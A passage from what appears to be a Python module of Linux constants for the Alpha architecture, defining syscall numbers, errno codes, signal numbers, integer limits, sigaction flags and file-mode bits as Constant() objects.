Constant('__NR_umount_with_flags',22)\n__NR_bdflush = Constant('__NR_bdflush',300)\n__NR_sethae = Constant('__NR_sethae',301)\n__NR_mount = Constant('__NR_mount',302)\n__NR_old_adjtimex = Constant('__NR_old_adjtimex',303)\n__NR_swapoff = Constant('__NR_swapoff',304)\n__NR_getdents = Constant('__NR_getdents',305)\n__NR_create_module = Constant('__NR_create_module',306)\n__NR_init_module = Constant('__NR_init_module',307)\n__NR_delete_module = Constant('__NR_delete_module',308)\n__NR_get_kernel_syms = Constant('__NR_get_kernel_syms',309)\n__NR_syslog = Constant('__NR_syslog',310)\n__NR_reboot = Constant('__NR_reboot',311)\n__NR_clone = Constant('__NR_clone',312)\n__NR_uselib = Constant('__NR_uselib',313)\n__NR_mlock = Constant('__NR_mlock',314)\n__NR_munlock = Constant('__NR_munlock',315)\n__NR_mlockall = Constant('__NR_mlockall',316)\n__NR_munlockall = Constant('__NR_munlockall',317)\n__NR_sysinfo = Constant('__NR_sysinfo',318)\n__NR__sysctl = Constant('__NR__sysctl',319)\n__NR_oldumount = Constant('__NR_oldumount',321)\n__NR_swapon = Constant('__NR_swapon',322)\n__NR_times = Constant('__NR_times',323)\n__NR_personality = Constant('__NR_personality',324)\n__NR_setfsuid = Constant('__NR_setfsuid',325)\n__NR_setfsgid = Constant('__NR_setfsgid',326)\n__NR_ustat = Constant('__NR_ustat',327)\n__NR_statfs = Constant('__NR_statfs',328)\n__NR_fstatfs = Constant('__NR_fstatfs',329)\n__NR_sched_setparam = Constant('__NR_sched_setparam',330)\n__NR_sched_getparam = Constant('__NR_sched_getparam',331)\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',332)\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',333)\n__NR_sched_yield = Constant('__NR_sched_yield',334)\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',335)\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',336)\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',337)\n__NR_afs_syscall = Constant('__NR_afs_syscall',338)\n__NR_uname = Constant('__NR_uname',339)\n__NR_nanosleep = Constant('__NR_nanosleep',340)\n__NR_mremap = Constant('__NR_mremap',341)\n__NR_nfsservctl = Constant('__NR_nfsservctl',342)\n__NR_setresuid = Constant('__NR_setresuid',343)\n__NR_getresuid = Constant('__NR_getresuid',344)\n__NR_pciconfig_read = Constant('__NR_pciconfig_read',345)\n__NR_pciconfig_write = Constant('__NR_pciconfig_write',346)\n__NR_query_module = Constant('__NR_query_module',347)\n__NR_prctl = Constant('__NR_prctl',348)\n__NR_pread = Constant('__NR_pread',349)\n__NR_pwrite = Constant('__NR_pwrite',350)\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',351)\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',352)\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',353)\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',354)\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',355)\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',356)\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',357)\n__NR_select = Constant('__NR_select',358)\n__NR_gettimeofday = Constant('__NR_gettimeofday',359)\n__NR_settimeofday = Constant('__NR_settimeofday',360)\n__NR_getitimer = Constant('__NR_getitimer',361)\n__NR_setitimer = Constant('__NR_setitimer',362)\n__NR_utimes = Constant('__NR_utimes',363)\n__NR_getrusage = Constant('__NR_getrusage',364)\n__NR_wait4 = Constant('__NR_wait4',365)\n__NR_adjtimex = Constant('__NR_adjtimex',366)\n__NR_getcwd = Constant('__NR_getcwd',367)\n__NR_capget = Constant('__NR_capget',368)\n__NR_capset = Constant('__NR_capset',369)\n__NR_sendfile = Constant('__NR_sendfile',370)\n__NR_setresgid = Constant('__NR_setresgid',371)\n__NR_getresgid = Constant('__NR_getresgid',372)\n__NR_dipc = Constant('__NR_dipc',373)\n__NR_pivot_root = Constant('__NR_pivot_root',374)\n__NR_mincore = Constant('__NR_mincore',375)\n__NR_pciconfig_iobase = Constant('__NR_pciconfig_iobase',376)\n__NR_getdents64 = Constant('__NR_getdents64',377)\n__NR_gettid = Constant('__NR_gettid',378)\n__NR_readahead = Constant('__NR_readahead',379)\n__NR_tkill = Constant('__NR_tkill',381)\n__NR_setxattr = Constant('__NR_setxattr',382)\n__NR_lsetxattr = Constant('__NR_lsetxattr',383)\n__NR_fsetxattr = Constant('__NR_fsetxattr',384)\n__NR_getxattr = Constant('__NR_getxattr',385)\n__NR_lgetxattr = Constant('__NR_lgetxattr',386)\n__NR_fgetxattr = Constant('__NR_fgetxattr',387)\n__NR_listxattr = Constant('__NR_listxattr',388)\n__NR_llistxattr = Constant('__NR_llistxattr',389)\n__NR_flistxattr = Constant('__NR_flistxattr',390)\n__NR_removexattr = Constant('__NR_removexattr',391)\n__NR_lremovexattr = Constant('__NR_lremovexattr',392)\n__NR_fremovexattr = Constant('__NR_fremovexattr',393)\n__NR_futex = Constant('__NR_futex',394)\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',395)\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',396)\n__NR_tuxcall = Constant('__NR_tuxcall',397)\n__NR_io_setup = Constant('__NR_io_setup',398)\n__NR_io_destroy = Constant('__NR_io_destroy',399)\n__NR_io_getevents = Constant('__NR_io_getevents',400)\n__NR_io_submit = Constant('__NR_io_submit',401)\n__NR_io_cancel = Constant('__NR_io_cancel',402)\n__NR_exit_group = Constant('__NR_exit_group',405)\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',406)\n__NR_sys_epoll_create = Constant('__NR_sys_epoll_create',407)\n__NR_sys_epoll_ctl = Constant('__NR_sys_epoll_ctl',408)\n__NR_sys_epoll_wait = Constant('__NR_sys_epoll_wait',409)\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',410)\n__NR_set_tid_address = Constant('__NR_set_tid_address',411)\n__NR_restart_syscall = Constant('__NR_restart_syscall',412)\n__NR_fadvise64 = Constant('__NR_fadvise64',413)\n__NR_timer_create = Constant('__NR_timer_create',414)\n__NR_timer_settime = Constant('__NR_timer_settime',415)\n__NR_timer_gettime = Constant('__NR_timer_gettime',416)\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',417)\n__NR_timer_delete = Constant('__NR_timer_delete',418)\n__NR_clock_settime = Constant('__NR_clock_settime',419)\n__NR_clock_gettime = Constant('__NR_clock_gettime',420)\n__NR_clock_getres = Constant('__NR_clock_getres',421)\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',422)\n__NR_semtimedop = Constant('__NR_semtimedop',423)\n__NR_tgkill = Constant('__NR_tgkill',424)\n__NR_stat64 = Constant('__NR_stat64',425)\n__NR_lstat64 = Constant('__NR_lstat64',426)\n__NR_fstat64 = Constant('__NR_fstat64',427)\n__NR_vserver = Constant('__NR_vserver',428)\n__NR_mbind = Constant('__NR_mbind',429)\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',430)\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',431)\n__NR_mq_open = Constant('__NR_mq_open',432)\n__NR_mq_unlink = Constant('__NR_mq_unlink',433)\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',434)\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',435)\n__NR_mq_notify = Constant('__NR_mq_notify',436)\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',437)\n__NR_waitid = Constant('__NR_waitid',438)\n__NR_add_key = Constant('__NR_add_key',439)\n__NR_request_key = Constant('__NR_request_key',440)\n__NR_keyctl = Constant('__NR_keyctl',441)\n__NR_ioprio_set = Constant('__NR_ioprio_set',442)\n__NR_ioprio_get = Constant('__NR_ioprio_get',443)\n__NR_inotify_init = Constant('__NR_inotify_init',444)\n__NR_inotify_add_watch = Constant('__NR_inotify_add_watch',445)\n__NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',446)\n__NR_fdatasync = Constant('__NR_fdatasync',447)\n__NR_kexec_load = Constant('__NR_kexec_load',448)\n__NR_migrate_pages = Constant('__NR_migrate_pages',449)\n__NR_openat = Constant('__NR_openat',450)\n__NR_mkdirat = Constant('__NR_mkdirat',451)\n__NR_mknodat = Constant('__NR_mknodat',452)\n__NR_fchownat = Constant('__NR_fchownat',453)\n__NR_futimesat = Constant('__NR_futimesat',454)\n__NR_fstatat64 = Constant('__NR_fstatat64',455)\n__NR_unlinkat = Constant('__NR_unlinkat',456)\n__NR_renameat = Constant('__NR_renameat',457)\n__NR_linkat = Constant('__NR_linkat',458)\n__NR_symlinkat = Constant('__NR_symlinkat',459)\n__NR_readlinkat = Constant('__NR_readlinkat',460)\n__NR_fchmodat = Constant('__NR_fchmodat',461)\n__NR_faccessat = Constant('__NR_faccessat',462)\n__NR_pselect6 = Constant('__NR_pselect6',463)\n__NR_ppoll = Constant('__NR_ppoll',464)\n__NR_unshare = Constant('__NR_unshare',465)\n__NR_set_robust_list = Constant('__NR_set_robust_list',466)\n__NR_get_robust_list = Constant('__NR_get_robust_list',467)\n__NR_splice = Constant('__NR_splice',468)\n__NR_sync_file_range = Constant('__NR_sync_file_range',469)\n__NR_tee = Constant('__NR_tee',470)\n__NR_vmsplice = Constant('__NR_vmsplice',471)\n__NR_move_pages = Constant('__NR_move_pages',472)\n__NR_getcpu = Constant('__NR_getcpu',473)\n__NR_epoll_pwait = Constant('__NR_epoll_pwait',474)\n__NR_utimensat = Constant('__NR_utimensat',475)\n__NR_signalfd = Constant('__NR_signalfd',476)\n__NR_timerfd = Constant('__NR_timerfd',477)\n__NR_eventfd = Constant('__NR_eventfd',478)\n__NR_recvmmsg = Constant('__NR_recvmmsg',479)\n__NR_fallocate = Constant('__NR_fallocate',480)\n__NR_timerfd_create = Constant('__NR_timerfd_create',481)\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',482)\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',483)\n__NR_signalfd4 = Constant('__NR_signalfd4',484)\n__NR_eventfd2 = Constant('__NR_eventfd2',485)\n__NR_epoll_create1 = Constant('__NR_epoll_create1',486)\n__NR_dup3 = Constant('__NR_dup3',487)\n__NR_pipe2 = Constant('__NR_pipe2',488)\n__NR_inotify_init1 = Constant('__NR_inotify_init1',489)\n__NR_preadv = Constant('__NR_preadv',490)\n__NR_pwritev = Constant('__NR_pwritev',491)\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',492)\n__NR_perf_event_open = Constant('__NR_perf_event_open',493)\n__NR_fanotify_init = Constant('__NR_fanotify_init',494)\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',495)\n__NR_prlimit64 = Constant('__NR_prlimit64',496)\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',497)\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',498)\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',499)\n__NR_syncfs = Constant('__NR_syncfs',500)\n__NR_setns = Constant('__NR_setns',501)\n__NR_accept4 = Constant('__NR_accept4',502)\n__NR_sendmmsg = Constant('__NR_sendmmsg',503)\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',504)\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',505)\n__NR_kcmp = Constant('__NR_kcmp',506)\n__NR_finit_module = Constant('__NR_finit_module',507)\n__NR_sched_setattr = Constant('__NR_sched_setattr',508)\n__NR_sched_getattr = Constant('__NR_sched_getattr',509)\n__NR_renameat2 = Constant('__NR_renameat2',510)\n__NR_getrandom = Constant('__NR_getrandom',511)\n__NR_memfd_create = Constant('__NR_memfd_create',512)\n__NR_execveat = Constant('__NR_execveat',513)\n__NR_seccomp = Constant('__NR_seccomp',514)\n__NR_bpf = Constant('__NR_bpf',515)\n__NR_userfaultfd = Constant('__NR_userfaultfd',516)\n__NR_membarrier = Constant('__NR_membarrier',517)\n__NR_mlock2 = Constant('__NR_mlock2',518)\n__NR_copy_file_range = Constant('__NR_copy_file_range',519)\n__NR_preadv2 = Constant('__NR_preadv2',520)\n__NR_pwritev2 = Constant('__NR_pwritev2',521)\n__NR_statx = Constant('__NR_statx',522)\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',523)\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',524)\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',525)\n__NR_pkey_free = Constant('__NR_pkey_free',526)\n__NR_rseq = Constant('__NR_rseq',527)\n__NR_statfs64 = Constant('__NR_statfs64',528)\n__NR_fstatfs64 = Constant('__NR_fstatfs64',529)\n__NR_getegid = Constant('__NR_getegid',530)\n__NR_geteuid = Constant('__NR_geteuid',531)\n__NR_getppid = Constant('__NR_getppid',532)\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',534)\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',535)\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',536)\n__NR_io_uring_register = Constant('__NR_io_uring_register',537)\n__NR_open_tree = Constant('__NR_open_tree',538)\n__NR_move_mount = Constant('__NR_move_mount',539)\n__NR_fsopen = Constant('__NR_fsopen',540)\n__NR_fsconfig = Constant('__NR_fsconfig',541)\n__NR_fsmount = Constant('__NR_fsmount',542)\n__NR_fspick = Constant('__NR_fspick',543)\n__NR_pidfd_open = Constant('__NR_pidfd_open',544)\n__NR_openat2 = Constant('__NR_openat2',547)\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',548)\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEDEADLK = Constant('EDEADLK',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEAGAIN = Constant('EAGAIN',35)\nEWOULDBLOCK = Constant('EWOULDBLOCK',35)\nEINPROGRESS = Constant('EINPROGRESS',36)\nEALREADY = Constant('EALREADY',37)\nENOTSOCK = Constant('ENOTSOCK',38)\nEDESTADDRREQ = Constant('EDESTADDRREQ',39)\nEMSGSIZE = Constant('EMSGSIZE',40)\nEPROTOTYPE = Constant('EPROTOTYPE',41)\nENOPROTOOPT = Constant('ENOPROTOOPT',42)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',43)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',44)\nEOPNOTSUPP = Constant('EOPNOTSUPP',45)\nENOTSUP = Constant('ENOTSUP',45)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',46)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',47)\nEADDRINUSE = Constant('EADDRINUSE',48)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',49)\nENETDOWN = Constant('ENETDOWN',50)\nENETUNREACH = Constant('ENETUNREACH',51)\nENETRESET = Constant('ENETRESET',52)\nECONNABORTED = Constant('ECONNABORTED',53)\nECONNRESET = Constant('ECONNRESET',54)\nENOBUFS = Constant('ENOBUFS',55)\nEISCONN = Constant('EISCONN',56)\nENOTCONN = Constant('ENOTCONN',57)\nESHUTDOWN = Constant('ESHUTDOWN',58)\nETOOMANYREFS = Constant('ETOOMANYREFS',59)\nETIMEDOUT = Constant('ETIMEDOUT',60)\nECONNREFUSED = Constant('ECONNREFUSED',61)\nELOOP = Constant('ELOOP',62)\nENAMETOOLONG = Constant('ENAMETOOLONG',63)\nEHOSTDOWN = Constant('EHOSTDOWN',64)\nEHOSTUNREACH = Constant('EHOSTUNREACH',65)\nENOTEMPTY = Constant('ENOTEMPTY',66)\nEUSERS = Constant('EUSERS',68)\nEDQUOT = Constant('EDQUOT',69)\nESTALE = Constant('ESTALE',70)\nEREMOTE = Constant('EREMOTE',71)\nENOLCK = Constant('ENOLCK',77)\nENOSYS = Constant('ENOSYS',78)\nENOMSG = Constant('ENOMSG',80)\nEIDRM = Constant('EIDRM',81)\nENOSR = Constant('ENOSR',82)\nETIME = Constant('ETIME',83)\nEBADMSG = Constant('EBADMSG',84)\nEPROTO = Constant('EPROTO',85)\nENODATA = Constant('ENODATA',86)\nENOSTR = Constant('ENOSTR',87)\nENOPKG = Constant('ENOPKG',92)\nEILSEQ = Constant('EILSEQ',116)\nECHRNG = Constant('ECHRNG',88)\nEL2NSYNC = Constant('EL2NSYNC',89)\nEL3HLT = Constant('EL3HLT',90)\nEL3RST = Constant('EL3RST',91)\nELNRNG = Constant('ELNRNG',93)\nEUNATCH = Constant('EUNATCH',94)\nENOCSI = Constant('ENOCSI',95)\nEL2HLT = Constant('EL2HLT',96)\nEBADE = Constant('EBADE',97)\nEBADR = Constant('EBADR',98)\nEXFULL = Constant('EXFULL',99)\nENOANO = Constant('ENOANO',100)\nEBADRQC = Constant('EBADRQC',101)\nEBADSLT = Constant('EBADSLT',102)\nEDEADLOCK = Constant('EDEADLOCK',11)\nEBFONT = Constant('EBFONT',104)\nENONET = Constant('ENONET',105)\nENOLINK = Constant('ENOLINK',106)\nEADV = Constant('EADV',107)\nESRMNT = Constant('ESRMNT',108)\nECOMM = Constant('ECOMM',109)\nEMULTIHOP = Constant('EMULTIHOP',110)\nEDOTDOT = Constant('EDOTDOT',111)\nEOVERFLOW = Constant('EOVERFLOW',112)\nENOTUNIQ = Constant('ENOTUNIQ',113)\nEBADFD = Constant('EBADFD',114)\nEREMCHG = Constant('EREMCHG',115)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nELIBACC = Constant('ELIBACC',122)\nELIBBAD = Constant('ELIBBAD',123)\nELIBSCN = Constant('ELIBSCN',124)\nELIBMAX = Constant('ELIBMAX',125)\nELIBEXEC = Constant('ELIBEXEC',126)\nERESTART = Constant('ERESTART',127)\nESTRPIPE = Constant('ESTRPIPE',128)\nENOMEDIUM = Constant('ENOMEDIUM',129)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',130)\nECANCELED = Constant('ECANCELED',131)\nENOKEY = Constant('ENOKEY',132)\nEKEYEXPIRED = Constant('EKEYEXPIRED',133)\nEKEYREVOKED = Constant('EKEYREVOKED',134)\nEKEYREJECTED = Constant('EKEYREJECTED',135)\nEOWNERDEAD = Constant('EOWNERDEAD',136)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',137)\nERFKILL = Constant('ERFKILL',138)\nEHWPOISON = Constant('EHWPOISON',139)\n__SYS_NERR = Constant('__SYS_NERR',((139) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',1234)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',1234)\n__WORDSIZE = Constant('__WORDSIZE',64)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (9223372036854775807)))\nINTPTR_MAX = Constant('INTPTR_MAX',(9223372036854775807))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffffffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffffffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (9223372036854775807)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(9223372036854775807))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (9223372036854775807)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(9223372036854775807))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffffffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (9223372036854775807)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(9223372036854775807))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffffffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGEMT = Constant('SIGEMT',7)\nSIGBUS = Constant('SIGBUS',10)\nSIGSYS = Constant('SIGSYS',12)\nSIGURG = Constant('SIGURG',16)\nSIGSTOP = Constant('SIGSTOP',17)\nSIGTSTP = Constant('SIGTSTP',18)\nSIGCONT = Constant('SIGCONT',19)\nSIGCHLD = Constant('SIGCHLD',20)\nSIGTTIN = Constant('SIGTTIN',21)\nSIGTTOU = Constant('SIGTTOU',22)\nSIGIO = Constant('SIGIO',23)\nSIGXCPU = Constant('SIGXCPU',24)\nSIGXFSZ = Constant('SIGXFSZ',25)\nSIGVTALRM = Constant('SIGVTALRM',26)\nSIGPROF = Constant('SIGPROF',27)\nSIGWINCH = Constant('SIGWINCH',28)\nSIGPWR = Constant('SIGPWR',29)\nSIGUSR1 = Constant('SIGUSR1',30)\nSIGUSR2 = Constant('SIGUSR2',31)\nSIGINFO = Constant('SIGINFO',29)\nSIGCLD = Constant('SIGCLD',20)\nSIGPOLL = Constant('SIGPOLL',23)\nSIGLOST = Constant('SIGLOST',29)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSA_ONSTACK = Constant('SA_ONSTACK',0x00000001)\nSA_RESTART = Constant('SA_RESTART',0x00000002)\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000004)\nSA_NODEFER = Constant('SA_NODEFER',0x00000008)\nSA_RESETHAND = Constant('SA_RESETHAND',0x00000010)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000020)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000040)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NOMASK = Constant('SA_NOMASK',0x00000008)\nSA_ONESHOT = Constant('SA_ONESHOT',0x00000010)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',1)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',2)\nSIG_SETMASK = Constant('SIG_SETMASK',3)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = 